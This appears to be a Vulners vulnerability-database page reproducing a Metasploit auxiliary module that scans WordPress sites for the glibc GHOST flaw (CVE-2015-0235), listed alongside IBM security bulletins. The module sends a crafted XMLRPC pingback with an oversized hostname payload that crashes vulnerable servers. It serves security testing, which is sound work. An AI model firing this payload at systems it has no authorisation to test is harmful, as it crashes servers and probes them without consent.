Lucene search

K

WordPress XMLRPC GHOST Scanner

WordPress XMLRPC GHOST Vulnerability Scanner. Detects hosts vulnerable to GHOST via WordPress XMLRPC

Show more
Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects DS8000 (CVE-2015-0235)
24 May 202217:06
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Flex System EN6131 40Gb Ethernet / IB6131 40Gb Infiniband Switch Firmware (CVE-2015-0235)
31 Jan 201901:55
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Security Network Protection (CVE-2015-0235)
16 Jun 201821:22
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM SDN-VE Unified Controller and IBM SDN-VE Service Appliance (CVE-2015-0235)
18 Jun 201801:27
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM API Management (CVE-2015-0235)
15 Jun 201807:02
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Netezza Host Management (CVE-2015-0235)
18 Oct 201903:10
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM XIV Storage System Gen2 (CVE-2015-0235)
18 Jun 201800:09
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Security Access Manager for Web (CVE-2015-0235)
16 Jun 201821:22
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects Tivoli Storage Productivity Center (CVE-2015-0235)
22 Feb 202219:50
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM WebSphere Cast Iron Solution (CVE-2015-0235)
15 Jun 201807:02
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner',  
'Description' => %q{  
This module can be used to determine hosts vulnerable to the GHOST vulnerability via  
a call to the WordPress XMLRPC interface. If the target is vulnerable, the system  
will segfault and return a server error. On patched systems, a normal XMLRPC error  
is returned.  
},  
'Author' =>  
[  
'Robert Rowley',  
'Christophe De La Fuente' ,  
'Chaim Sanders' ,  
'Felipe Costa' ,  
'Jonathan Claudius' ,  
'Karl Sigler' ,  
'Christian Mehlmauer' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2015-0235' ],  
[ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235/'],  
[ 'URL', 'https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html']  
]  
))  
  
register_options(  
[  
OptInt.new('LENGTH', [false, 'Payload length', 2500]),  
])  
end  
  
def length  
datastore['LENGTH']  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
print_error("Looks like this site is no WordPress blog")  
return  
end  
  
unless wordpress_xmlrpc_enabled?  
print_error("XMLRPC interface is not enabled")  
return  
end  
  
ghost = "0" * length  
payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"  
xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)  
  
res = send_request_cgi(  
'uri' => wordpress_url_xmlrpc,  
'method' => 'POST',  
'ctype' => 'text/xml;charset=UTF-8',  
'data' => xml  
)  
  
if res.nil? || res.code == 500  
print_good("vulnerable to GHOST")  
report_vuln(  
:host => ip,  
:proto => 'tcp',  
:port => datastore['RPORT'],  
:name => self.name,  
:info => "Module #{self.fullname} found GHOST vulnerability",  
:sname => datastore['SSL'] ? "https" : "http"  
)  
else  
print_status("target not vulnerable to GHOST")  
end  
end  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
01 Sep 2024 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS210
EPSS0.974
74
.json
Report